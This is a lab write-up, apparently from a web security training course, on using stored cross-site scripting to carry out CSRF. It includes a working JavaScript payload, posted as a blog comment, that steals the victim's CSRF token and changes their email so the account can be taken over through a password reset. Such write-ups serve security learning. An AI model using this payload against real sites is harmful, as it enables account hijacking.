

Exploiting cross-site scripting to perform CSRF

Description

Anything a legitimate user can do on a web site, you can probably do too with XSS. Depending on the site you're targeting, you might be able to make a victim send a message, accept a friend request, commit a backdoor to a source code repository, or transfer some Bitcoin.

Some websites allow logged-in users to change their email address without re-entering their password. If you've found an XSS vulnerability, you can make it trigger this functionality to change the victim's email address to one that you control, and then trigger a password reset to gain access to the account.

This type of exploit is typically referred to as [cross-site request forgery](#) (CSRF), which is slightly confusing because CSRF can also occur as a standalone vulnerability. When CSRF occurs as a standalone vulnerability, it can be patched using strategies like anti-CSRF tokens. However, these strategies do not provide any protection if an XSS vulnerability is also present.

Lab

This lab is fairly straightforward. You don't need a collaborator nor do you need to create a CSRF POC. The script used is self-contained and is driven from the blog comments where it is stored by the webpage.

Script Used

As before I used the script from the guide.

```
<script> var req = new XMLHttpRequest(); req.onload = handleResponse; req.open('get', '/my-account', true); req.send(); function handleResponse() { var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open('post', '/my-account/change-email', true); changeReq.send('csrf='+token+'&email=test@test.com') }; </script>
```

Leave a comment

Comment:

```
<script> var req = new XMLHttpRequest(); req.onload = handleResponse; req.open('get', '/my-account', true); req.send(); function handleResponse() { var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open('post', '/my-account/change-email', true); changeReq.send('csrf='+token+'&email=test@test.com') }; </script>
```

Refresh Page

You will get the congratulations page once you refresh. At first this seems a little confusing. But if you think about what happens. When a third party accesses the page, their email will become test@test.com. Knowing this allows you to visit the "forgot password" link on the page. Following the process will then allow a password reset email to come to you, resetting and accessing the victim account.

Congratulations, you solved the lab!

My Account

Your username is: wiener

Your email is: test@test.com